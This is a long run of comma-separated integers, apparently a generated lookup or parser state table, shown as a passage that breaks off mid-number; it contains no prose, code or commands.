,528,528,528,2929,528,528,528,0,2378,0,0,0,0,0,0,2385,0,2387,0,0,0,0,0,0,403,0,0,0,0,0,0,0,0,332,333,0,0,0,0,0,0,0,0,334,335,336,0,0,0,0,0,0,0,0,2396,0,0,0,0,0,0,0,0,0,0,0,0,697,698,0,368,2406,0,0,0,0,0,0,0,0,0,0,0,0,0,2417,0,0,0,0,3433,0,0,0,0,0,0,0,0,0,0,0,786,0,0,0,528,2433,528,2435,528,528,528,528,528,528,2443,528,2445,528,528,528,528,528,1414,528,528,528,528,528,528,528,528,528,528,1956,528,528,528,528,528,528,528,528,2451,528,528,528,528,528,528,528,528,528,528,528,528,528,2902,528,528,2473,528,528,528,528,528,528,2480,528,528,528,528,528,528,528,528,1906,528,528,528,528,528,528,528,57893,57893,57893,59864,57893,59866,57893,57893,57893,57893,57893,57893,59874,57893,59876,57893,2770,2291,0,2771,2294,0,0,2773,0,0,0,0,0,0,0,0,2359296,418,418,0,0,0,0,0,57893,57893,59904,59905,57893,57893,57893,57893,57893,57893,59912,57893,57893,57893,57893,57893,57893,60885,57893,60887,57893,57893,57893,57893,57893,57893,57893,59397,57893,57893,59400,57893,57893,57893,57893,57893,59930,59931,57893,0,0,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,58910,57916,57916,57916,57916,57916,57916,59963,57916,59965,57916,57916,57916,57916,57916,57916,57916,59971,57916,57916,57916,57916,57916,57916,60914,57916,57916,57916,57916,57916,60918,57916,57916,57916,57916,60016,57916,57916,60019,60020,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,4239,0,0,0,0,528,60046,57943,60048,57943,57943,57943,57943,57943,57943,57943,60054,57943,57943,57943,57943,57943,57943,58979,58986,57943,57943,57943,57943,57943,57943,57943,57943,57943,60079,57943,57943,57943,57943,57943,57943,57943,60099,57943,57943,60102,60103,57943,2435,528,2762,528,528,59866,57893,60111,57893,57893,57893,57893,57893,61083,57893,57893,57893,57893,57893,57893,57893,57893,61089,57893,57893,57893,57893,57893,61219,57893,57893,57893,57916,57916,57916,57916,57916,57916,57916,1272,57893,57943,57943,57943,57943,57943,57943,57943,528,3132,528,528,528,57893,60479,57893,57893,0,0,2829,0,0,0,0,2833,0,0,0,0,0,0,0,0,312,311,0,0,0,311,311,312,2905,528,528,528,528,2909,528,528,528,2914,528,528,528,528,528,528,1920,528,528,528,528,528,528,528,528,528,1908,528,528,528,528,528,528,528,528,2922,528,528,528,528,528,528,528,2927,528,528,528,528,528,528,3940,528,528,528,528,528,528,3946,528,528,60284,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59406,60296,57893,60298,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59403,57893,57893,57893,60324,57893,57893,57893,57893,57893,57893,57893,57893,60332,57893,57893,57893,57893,57893,57893,61096,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,60703,57916,57916,57943,57943,57943,57943,57943,57943,57943,58466,57943,57943,57943,57943,528,528,528,896,57893,57893,57893,60338,57893,57893,57893,57893,57893,57893,57893,0,2999,0,0,0,0,0,1323,0,0,0,0,0,0,0,0,0,0,2836,2837,0,0,0,0,57916,60382,57916,57916,57916,57916,60386,57916,57916,57916,60391,57916,57916,57916,57916,57916,57916,60926,57916,57916,57916,57916,57916,57916,57916,57916,57916,59956,57916,57916,57916,57916,57916,57916,57916,57916,57916,60399,57916,57916,57916,57916,57916,57916,57916,57916,60405,57916,57916,57916,57916,57916,59992,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58925,57916,57916,57916,57916,57916,57943,57943,57943,57943,60447,57943,57943,57943,57943,60451,57943,57943,57943,60456,57943,57943,528,1352,528,528,1717,528,58791,57893,57893,57893,59066,57893,1151,0,0,0,3177,0,0,0,0,0,0,0,0,0,0,0,0,0,2390,0,0,528,528,528,528,3232,528,528,528,528,528,528,528,528,528,528,528,528,1941,528,528,528,528,528,3251,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2892,528,57893,57893,57893,57893,60643,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,3442,3443,0,3444,0,3446,0,0,0,0,3448,0,0,0,0,0,0,737,0,0,0,0,0,0,0,0,0,2360,0,0,0,0,0,2364,3467,0,0,0,0,3472,3473,0,3475,0,0,3478,0,0,0,3481,528,528,528,528,3498,528,528,528,528,528,3504,528,528,528,528,528,528,4020,528,4022,4023,528,4025,528,57893,57893,57893,57893,57893,57893,60882,57893,57893,57893,57893,57893,60888,57893,57893,60891,57893,57893,57893,0,0,0,0,57916,57916,57916,59941,57916,59943,57916,57916,57916,57916,57916,60006,60007,60008,57916,57916,57916,57916,57916,57916,57916,57916,58943,57916,57916,58947,57916,57916,57916,57916,57916,57916,57916,57916,60924,57916,57916,57916,57916,57916,60930,57916,57916,60933,57916,57916,57893,57943,57943,57943,57943,57943,59532,57943,57943,57943,57943,57943,59538,57943,60991,57943,528,528,3650,57893,57893,60997,0,0,0,0,0,0,3659,0,0,0,0,3445,0,0,0,0,0,0,0,0,0,0,0,2812,0,0,2815,0,0,3662,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1306,0,3669,0,0,0,0,0,0,0,0,0,0,0,0,3676,0,3678,528,528,528,528,3705,528,528,528,528,528,528,528,528,528,528,528,528,2458,528,528,528,528,528,3715,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2903,528,528,57893,57893,57893,61071,57893,57893,57893,57893,57893,57893,57893,61076,57893,57893,57893,0,0,0,0,57916,57916,59940,57916,57916,57916,57916,57916,57916,59981,57916,57916,57916,57916,57916,57916,57916,57916,57916,59453,57916,57916,57916,57916,57916,57916,57893,57893,57893,57893,61095,57893,57893,57893,57893,57893,57893,57916,57916,57916,61100,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,58432,57943,57943,57943,57943,57943,60075,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59048,57943,57943,57943,57943,61134,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61145,3832,0,0,3835,0,0,0,0,0,0,0,0,0,0,0,0,772,0,0,0,57916,57916,61238,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61142,57943,57943,57943,3924,0,3675,0,0,0,0,0,3932,0,0,0,0,0,0,0,312,0,0,0,0,0,311,0,311,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,61301,57893,57893,57893,57893,57893,59363,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60315,57893,57893,57893,57893,60319,57893,57893,57943,61333,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,57893,0,0,0,0,0,1736,0,0,0,0,0,0,0,0,0,0,2334720,0,2334720,0,0,0,0,0,0,4079,0,0,0,0,0,0,0,528,528,528,528,528,528,528,4157,528,4159,528,528,4091,528,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,61448,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,57916,57916,57916,61317,57916,61462,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,60028,57943,61476,57943,57943,57943,57943,57943,57943,57943,57943,57943,4141,4142,0,0,0,4145,528,528,61507,61508,61509,57893,57893,57893,61512,57893,61514,57893,57893,57893,57893,61519,61520,61521,61522,57916,57916,57916,61525,57916,61527,57916,57916,57916,57916,61532,61533,61534,61535,57943,57943,57943,61538,57943,61540,57943,57943,57943,57943,61545,0,0,0,0,0,0,3194,0,0,0,3198,0,3200,0,0,0,528,4245,528,528,528,4249,57893,57893,61595,57893,57893,57893,61599,57893,57916,57916,57893,57943,59529,57943,57943,57943,57943,57943,57943,57943,59536,57943,57943,57943,57943,57943,59040,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,3412,528,57893,60759,57893,61601,57916,57916,57916,61605,57916,57943,57943,61607,57943,57943,57943,61611,57943,0,0,0,0,0,2342912,0,0,0,0,0,0,0,0,0,4358144,4359058,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6275072,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,0,413,0,0,0,0,0,0,413,139264,147456,0,0,0,422,0,0,0,0,3456,0,0,0,0,0,0,0,0,0,0,0,749,0,0,0,0,372,372,0,430,131072,372,430,430,0,333,372,430,0,0,430,456,430,0,0,0,430,495,495,495,500,495,495,495,500,495,430,430,430,430,430,430,430,430,430,430,430,430,430,430,430,430,534,57900,534,57900,534,534,57900,534,534,57923,57900,534,534,57900,57900,57900,57900,57950,57950,57900,57900,57900,57900,57950,57950,57900,534,57900,57900,57923,57900,57900,57900,57900,57900,57900,57900,57923,57923,57900,57900,57950,57900,57900,57900,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,841,528,528,528,528,528,528,873,528,528,528,528,528,528,528,528,1939,528,528,528,528,528,528,528,0,0,1175,0,0,0,0,0,0,0,0,0,0,0,0,0,2416,0,0,0,0,0,1296,0,1175,0,0,0,0,0,0,0,0,0,0,2371,0,0,0,0,0,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,58784,57893,57893,57893,57893,57893,57893,61210,57893,57893,57893,57893,57893,57893,57893,57893,57893,60626,57893,57893,60629,57893,57893,57893,58796,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59424,57943,58973,57943,57943,57943,57943,57943,58985,57943,57943,57943,57943,57943,57943,57943,57943,57943,60053,57943,57943,57943,57943,57943,57943,0,1873,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1743,1744,57943,60460,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60726,57943,61135,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61257,528,528,528,61636,57893,57893,57893,61638,57916,57916,57916,61640,57943,57943,57943,0,0,0,0,3471,0,0,0,0,0,0,0,0,0,0,0,1868,0,0,0,0,0,0,0,431,131072,0,431,431,0,0,0,431,446,0,431,0,0,0,0,3663,0,0,0,0,0,0,0,0,0,0,0,1289,0,0,0,0,431,476,476,476,489,489,489,489,489,489,489,489,489,489,489,489,489,489,489,489,535,57901,535,57901,535,535,57901,535,535,57924,57901,535,535,57901,57901,57901,57901,57951,57951,57901,57901,57901,57901,57951,57951,57901,535,57901,57901,57924,57901,57901,57901,57901,57901,57901,57901,57924,57924,57901,57901,57951,57901,57901,57901,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,528,528,528,528,58773,1986,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59353,57893,57893,57893,57893,57893,0,0,0,2327,0,0,0,0,0,0,0,0,0,0,0,0,773,0,0,776,2351,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1774,57893,57893,59892,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59900,57893,57893,0,0,0,2805,0,0,0,0,0,0,0,0,0,0,0,0,800,0,0,528,3175,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1790,0,0,3431,0,0,0,0,0,3437,0,0,0,0,0,0,0,331,0,139264,147456,0,0,0,0,0,3482,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1372,57893,57893,57893,57893,60883,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60893,60908,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60396,60935,57916,57916,57916,57916,57916,57916,57916,57916,57916,60944,57916,57916,60947,57916,57916,57893,59528,57943,59530,57943,59531,57943,59533,57943,59535,57943,57943,57943,59539,57916,60950,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59012,57943,57943,60977,57943,57943,57943,57943,57943,57943,57943,57943,57943,60986,57943,57943,60989,57943,57943,57943,57943,57943,60966,57943,57943,57943,57943,57943,60972,57943,57943,60975,57943,57943,57943,57943,57943,60750,57943,57943,57943,57943,528,528,528,57893,57893,57893,0,0,0,0,0,0,0,3660,528,528,528,528,3716,528,3718,528,528,528,528,528,528,528,528,528,528,3491,528,528,528,528,528,528,57893,57893,61070,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59385,57893,57893,57893,57893,57893,57893,57893,61082,57893,57893,57893,57893,57893,57893,57893,57893,61088,57893,61090,57943,61146,57943,61148,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,57893,0,0,0,528,528,528,528,3854,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,58277,57893,57893,58293,57893,57893,61216,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61229,57916,57916,57916,57916,57916,57916,57916,57916,57916,61235,57916,57916,57916,57916,57916,61467,57916,57916,61469,57916,57943,57943,57943,57943,57943,57943,57943,60449,57943,57943,60453,57943,57943,57943,57943,57943,61248,57943,57943,57943,57943,57943,57943,57943,57943,57943,61254,57943,57943,57943,57943,57943,57943,58980,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60734,57943,57943,57943,57943,57943,57916,61625,61626,57916,57916,57943,57943,61629,61630,57943,57943,0,0,0,0,528,528,528,528,4275,528,57893,57893,57893,57893,61623,57893,57916,0,761,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1789,0,761,0,0,0,0,0,761,761,0,0,828,0,0,0,0,0,0,738,0,644,738,0,742,743,644,0,0,528,528,852,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2919,528,528,528,528,911,57893,57893,57893,57893,58271,57893,57893,57893,57893,57893,57893,57893,58862,57893,57893,57893,50676,58773,990,57916,58871,58406,0,0,0,0,57893,57943,57943,57943,57943,58422,57943,57943,57943,57943,57943,57943,58981,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60985,57943,57943,57943,57943,57943,528,911,0,58271,57893,57893,57893,57893,58330,155942,1151,0,0,0,0,0,0,751,0,0,0,0,0,0,0,0,0,139264,147456,0,0,319,0,0,0,1279,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2337,0,57943,59035,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59028,57943,528,528,528,1983,58773,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59418,57893,57893,57893,57893,57893,57893,57893,59427,50676,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60377,57916,57916,57916,57916,59527,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60746,57943,59623,528,528,528,528,528,57893,57893,57893,57893,57893,0,0,0,0,0,0,0,3142,0,0,0,0,0,0,0,752,0,0,0,0,0,0,758,0,59861,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59889,57916,57916,57916,57916,59950,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60675,57916,57916,60678,57943,57943,57943,57943,60033,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60042,57943,57943,57943,3812,528,57893,61158,57893,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,386,57916,57916,57916,57916,61240,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61255,57943,57943,57943,57943,61259,57943,528,528,57893,57893,0,0,0,0,0,0,0,0,0,0,0,3146,0,0,0,0,0,334,0,0,0,0,0,0,0,0,0,0,0,334,385,387,0,0,0,0,0,0,0,0,0,0,0,0,0,402,0,0,0,0,3672,0,0,0,0,0,0,0,0,0,0,0,1786,0,0,0,0,334,0,0,0,0,0,0,0,0,0,0,0,0,334,0,0,139264,147456,0,0,0,0,0,425,425,0,0,131072,425,0,0,0,0,425,0,447,0,0,425,335,477,477,477,490,490,490,490,490,490,490,490,490,490,511,519,519,519,519,519,526,519,519,519,526,519,519,519,519,519,519,536,57902,536,57902,536,536,57902,536,536,57925,57902,536,536,57902,57902,57902,57902,57952,57952,57902,57902,57902,57902,57952,57952,57902,536,57902,57902,57925,57902,57902,57902,57902,57902,57902,57902,57925,57925,57902,57902,57952,57902,57902,57902,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,780,0,0,0,0,0,0,0,0,0,0,0,0,0,2789,2790,0,0,795,0,0,0,0,0,0,0,799,0,0,0,0,0,0,0,2330,0,0,0,0,0,0,0,0,1238,0,0,0,0,0,0,0,819,0,0,0,0,0,819,819,0,0,0,0,799,0,0,0,0,0,1750,0,0,0,0,0,0,0,0,0,0,2850,0,0,0,0,0,0,0,0,835,795,0,0,835,0,0,0,0,0,0,0,528,528,528,4154,528,528,528,528,528,528,528,3234,528,528,528,528,528,528,528,528,528,3942,528,528,528,528,528,528,528,528,528,855,528,864,528,528,528,528,528,528,528,528,528,528,528,3944,528,528,528,528,528,528,528,912,57893,57893,57893,57893,57893,58274,57893,58283,57893,57893,57893,57893,57893,59395,59396,57893,57893,57893,57893,57893,57893,57893,57893,57893,59897,57893,57893,57893,57893,57893,57893,58350,57916,58359,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58401,57916,57916,58407,0,0,0,0,57893,57943,57943,57943,57943,57943,58425,57943,58434,57943,57943,528,1354,528,528,528,528,58793,57893,57893,57893,57893,57893,1151,0,1143,912,0,57893,57893,57893,57893,58493,58331,155942,1151,0,0,0,0,0,0,790,0,802,0,816,0,0,0,0,810,1246,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1821,0,0,0,1308,0,0,0,0,0,0,0,0,1313,0,0,0,0,0,1796,0,0,0,0,0,0,0,0,0,0,1211,368,368,0,0,1214,528,528,528,1350,528,528,528,528,528,528,528,528,528,1369,528,528,0,0,0,2933,0,1986,57893,57893,57893,57893,57893,57893,57893,57893,59884,57893,57893,57893,57893,57893,57893,57893,528,1409,528,528,1413,528,528,528,528,528,1420,528,528,528,1427,528,528,0,57893,57893,57893,58315,57893,57893,155942,1151,0,0,0,0,0,0,0,6324224,4358144,4358144,5005312,4358144,4358144,4358144,512e4,5136384,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,6119424,4358144,6168576,4358144,4358144,4358144,4358144,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58789,57893,57893,57893,57893,57893,61379,57893,61381,61382,57893,61384,57893,61386,57916,57916,57916,57916,57916,60385,57916,57916,57916,57916,57916,57916,60393,57916,57916,57916,57916,57916,60691,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59484,57916,57916,57916,57916,57916,57893,57893,58818,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59914,57893,57893,57916,58954,57916,57916,57916,58961,57916,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,61140,57943,57943,57943,57943,57943,57943,57943,57943,60969,57943,60971,57943,57943,57943,57943,57943,57943,57943,57943,59038,57943,57943,59042,57943,57943,57943,57943,57943,59049,57943,57943,57943,528,528,57893,57893,0,0,0,0,0,0,0,0,3923,59056,57943,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,1151,0,0,0,0,4003,3675,0,0,0,0,0,0,0,0,528,528,528,528,528,528,528,1345,1844,1845,0,1847,0,0,0,0,0,0,0,0,0,0,0,0,806,0,0,0,0,1861,0,1863,0,0,0,0,0,0,0,0,0,0,0,0,839,0,0,528,0,0,0,1875,0,0,0,0,0,0,0,0,0,0,0,0,990,0,0,0,0,0,1861,0,0,0,0,0,528,528,528,528,528,528,528,528,3223,528,528,528,528,528,528,1949,528,528,528,528,528,528,528,528,1958,528,528,528,528,528,2478,528,528,528,528,528,528,528,528,528,528,1421,528,528,528,528,528,528,528,528,1967,528,528,528,528,528,528,528,528,528,528,1977,1979,57893,57893,59392,57893,57893,57893,57893,57893,57893,57893,57893,59401,57893,57893,57893,57893,57893,59414,57893,57893,57893,57893,57893,57893,59420,57893,57893,57893,57893,57893,59410,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59421,59423,57893,57893,57893,57893,57893,61453,57893,57893,61455,57893,57916,57916,57916,57916,57916,57916,59482,57916,57916,57916,57916,57916,57916,57916,57916,57916,59983,57916,57916,57916,57916,57916,57916,57916,59492,57916,57916,57916,57916,57916,57916,57916,57916,59501,57916,57916,57916,57916,57916,57916,60940,60942,57916,57916,57916,57916,60946,57916,60948,60949,57916,59510,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59521,59523,57916,57916,57916,57916,57916,61570,57916,61571,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,60416,57943,57943,57943,59588,57943,57943,57943,57943,57943,57943,57943,57943,59597,57943,57943,57943,57943,57943,57943,57943,59043,57943,57943,57943,57943,57943,57943,57943,57943,58988,57943,57943,57943,57943,57943,57943,57943,59606,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59617,59619,57943,57943,57943,528,528,57893,57893,0,0,0,0,0,3921,0,0,0,0,0,1812,0,0,0,0,0,0,0,0,0,0,1839,0,0,0,0,0,0,0,2340,0,0,0,0,0,2346,0,0,0,0,0,0,0,372,0,0,0,380,382,0,0,0,0,0,0,2354,0,0,0,0,0,0,0,0,2362,0,0,0,0,0,1835,0,0,0,0,0,0,0,0,0,0,0,0,528,528,528,528,528,2424,528,528,528,528,528,528,528,528,528,528,3722,528,528,528,528,528,528,528,2436,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2930,528,528,528,2463,528,528,528,528,528,528,528,528,528,528,528,528,528,528,3240,3241,0,0,0,57893,57893,57893,57893,57893,57893,59855,57893,57893,57893,57893,57893,57893,0,0,57916,60658,57916,57916,57916,57916,57916,57916,58940,57916,57916,57916,57916,57916,57916,57916,57916,57916,59518,57916,57916,57916,57916,57916,57916,57916,60003,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58951,57916,57916,57916,57916,60018,57916,57916,57916,57943,57943,57943,57943,57943,57943,60027,57943,57943,528,1355,528,528,528,528,58794,57893,57893,57893,57893,57893,1151,0,57943,60086,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59570,57943,57943,57943,57943,60101,57943,57943,57943,2436,528,528,528,528,59867,57893,57893,57893,0,0,0,0,57916,59939,57916,57916,57916,57916,57916,57916,57916,60927,57916,60929,57916,57916,57916,57916,57916,57916,0,2793,0,2795,0,0,0,0,0,0,0,0,2800,0,0,2803,0,0,2818,0,0,0,0,0,0,0,2826,0,0,0,0,2828,0,2842,0,0,2845,0,0,0,0,0,0,0,0,0,0,2855,0,0,528,2869,528,528,528,528,528,528,528,528,528,528,528,528,528,2918,528,528,57893,57893,57893,57893,60327,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,61099,57916,57916,60336,57893,57893,57893,60339,57893,57893,57893,57893,57893,57893,0,0,0,0,0,0,2772,0,0,0,0,0,0,0,0,2359,0,0,0,0,0,0,0,0,57916,60345,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58894,57916,57916,57943,60433,57943,57943,57943,57943,57943,57943,57943,60438,57943,57943,57943,57943,57943,57943,57943,59549,57943,57943,57943,57943,57943,57943,57943,57943,57943,60067,57943,57943,57943,57943,57943,57943,57943,60444,57943,57943,57943,57943,57943,57943,57943,60452,57943,57943,57943,57943,57943,57943,57943,59595,57943,57943,57943,57943,57943,57943,57943,57943,57943,61543,57943,57943,0,0,0,0,60459,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60468,57943,57943,57943,528,528,57893,57893,0,0,0,3919,0,0,3922,0,0,60471,57943,57943,57943,57943,57943,57943,3131,528,528,528,528,60478,57893,57893,57893,0,0,0,0,59938,57916,57916,57916,57916,57916,57916,57916,59946,3204,0,0,0,3206,0,0,0,0,0,0,0,0,0,0,0,1818,0,0,0,0,528,528,528,528,3244,528,528,528,528,528,528,528,528,528,528,3249,528,528,528,3252,528,3254,528,528,528,528,528,528,528,3258,528,528,0,0,2503,0,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,59858,57893,57893,57893,60632,57893,57893,57893,57893,60635,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59924,57893,59926,57893,57893,57893,57893,60641,57893,57893,57893,60644,57893,60646,57893,57893,57893,57893,57893,57893,57893,57893,58843,57893,57893,57893,57893,57893,57893,57893,60651,57893,57893,57893,57893,57893,0,0,57916,57916,57916,60659,57916,57916,57916,57916,57916,58905,57916,58907,57916,57916,57916,57916,57916,57916,57916,57916,60362,57916,57916,57916,57916,57916,57916,57916,57916,60664,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59458,57916,57916,57916,60680,60681,57916,57916,57916,57916,60684,57916,57916,57916,57916,57916,57916,57916,57943,60022,57943,57943,57943,57943,57943,57943,57943,57943,61153,57943,57943,57943,57943,57943,57943,528,57916,57916,57916,57916,60690,57916,57916,57916,60693,57916,60695,57916,57916,57916,57916,57916,57916,61105,57916,57916,57916,57916,57916,57916,57916,57916,57916,58944,57916,57916,57916,57916,57916,58952,57916,57916,57916,60700,57916,57916,57916,57916,57916,57943,57943,57943,60708,57943,57943,57943,528,528,57893,57893,3918,0,0,0,3920,0,0,0,0,0,0,3695,0,3697,528,528,528,528,528,528,528,1905,528,528,528,528,528,528,528,528,2926,528,528,528,528,528,528,528,57943,57943,60713,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61144,57943,57943,57943,57943,60729,60730,57943,57943,57943,57943,60733,57943,57943,57943,57943,57943,57943,57943,60036,57943,60038,57943,57943,57943,57943,57943,57943,57943,58984,57943,58989,57943,57943,58993,57943,57943,58996,57943,57943,57943,57943,60749,57943,57943,57943,57943,57943,528,528,528,57893,57893,57893,0,0,0,0,0,0,0,0,0,0,0,3417,0,0,3420,3421,0,0,0,0,0,0,0,0,0,0,0,1827,0,0,0,0,528,528,528,528,3486,528,528,528,528,3490,528,528,528,528,528,528,1952,1953,528,528,528,528,528,528,528,528,528,3517,528,528,528,528,528,57893,528,3496,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2931,528,3510,528,528,528,528,528,528,528,528,528,528,528,528,528,57893,57893,57893,61204,57893,57893,57893,60870,57893,57893,57893,57893,60874,57893,57893,57893,57893,57893,57893,57893,58863,58864,57893,57893,50676,58773,990,57916,57916,60880,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59901,57893,60895,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58830,57893,57916,57916,57916,57916,60912,57916,57916,57916,57916,60916,57916,57916,57916,57916,57916,57916,58962,0,58963,58964,57943,57943,57943,57943,57943,58971,57916,60922,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59472,57916,57916,57916,60937,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58927,57916,58929,57916,57943,57943,57943,57943,60954,57943,57943,57943,57943,60958,57943,57943,57943,57943,57943,57943,58982,57943,57943,57943,57943,58992,57943,57943,57943,57943,57943,57943,60964,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61256,57943,57943,57943,57943,60979,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60974,57943,60976,528,528,57893,57893,57893,0,0,0,0,3819,0,0,0,0,0,3822,0,528,528,528,528,528,528,3844,528,528,528,528,528,528,528,528,2481,528,528,528,528,528,2485,2486,57893,57893,61206,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59927,57893,57893,57893,57893,61217,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,61225,0,0,3675,0,0,0,0,0,0,0,0,0,0,0,3934,0,0,0,0,4080,0,0,0,0,0,0,528,528,528,528,528,528,4211,528,4212,528,528,528,57893,57893,57893,57893,57893,57893,61562,57893,61563,57893,57893,57893,57893,57916,57943,4313,4314,61659,61660,61661,0,528,57893,57916,57943,0,0,0,0,0,2382,0,0,0,0,0,0,0,0,0,0,4284416,0,0,0,0,0,57943,57943,61578,57943,61579,57943,57943,57943,57943,0,0,0,0,0,0,528,528,4273,4274,528,528,57893,57893,61621,61622,57893,57893,57916,0,528,528,57893,57893,57916,57916,57943,57943,4303,4304,61649,61650,61651,0,528,528,528,528,528,528,528,528,528,2428,528,528,528,528,528,528,4096,528,528,4098,57893,57893,57893,57893,57893,57893,58861,57893,57893,57893,57893,50676,58773,990,57916,57916,537,57903,537,57903,537,537,57903,537,537,57926,57903,537,537,57903,57903,57903,57903,57953,57953,57903,57903,57903,57903,57953,57953,57903,537,57903,57903,57926,57903,57903,57903,57903,57903,57903,57903,57926,57926,57903,57903,57953,57903,57903,57903,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,57893,57893,58833,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60649,57893,57893,57916,59948,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59489,57916,57943,60031,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60044,57943,0,384,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2404,0,0,340,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2854,0,0,0,406,0,0,0,0,0,0,0,0,0,0,0,0,406,0,0,0,432,131072,0,432,432,0,0,0,432,0,452,432,0,0,0,0,4206,0,528,528,528,528,528,528,528,528,528,528,528,528,2430,528,528,432,478,478,478,491,491,491,491,491,491,491,491,491,491,491,491,491,491,491,491,538,57904,538,57904,538,538,57904,538,538,57927,57904,538,538,57904,57904,57904,57904,57954,57954,57904,57904,57904,5790